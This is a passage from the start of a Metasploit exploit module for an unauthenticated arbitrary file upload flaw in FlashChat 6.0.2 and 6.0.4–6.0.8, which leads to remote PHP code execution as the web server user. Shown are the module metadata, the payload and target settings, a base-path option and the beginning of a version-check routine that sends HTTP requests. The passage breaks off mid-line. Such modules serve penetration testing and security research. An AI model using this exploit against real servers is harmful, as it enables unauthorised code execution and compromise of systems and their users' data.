## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => "FlashChat Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability found in FlashChat versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload feature in order to upload malicious PHP files without authentication which results in arbitrary remote code execution as the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'x-hayben21', # Discovery and PoC 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2013-10038'], ['OSVDB', '98233'], ['EDB', '28709'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on FlashChat version 6.0.8 [ 'Generic (PHP Payload)', {} ] ], 'Privileged' => false, 'DisclosureDate' => '2013-10-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) ] ) end # # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8 # def check uri = normalize_uri(target_uri.path, '') res = send_request_raw({ 'uri' => uri }) if not res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end version = res.body.scan(/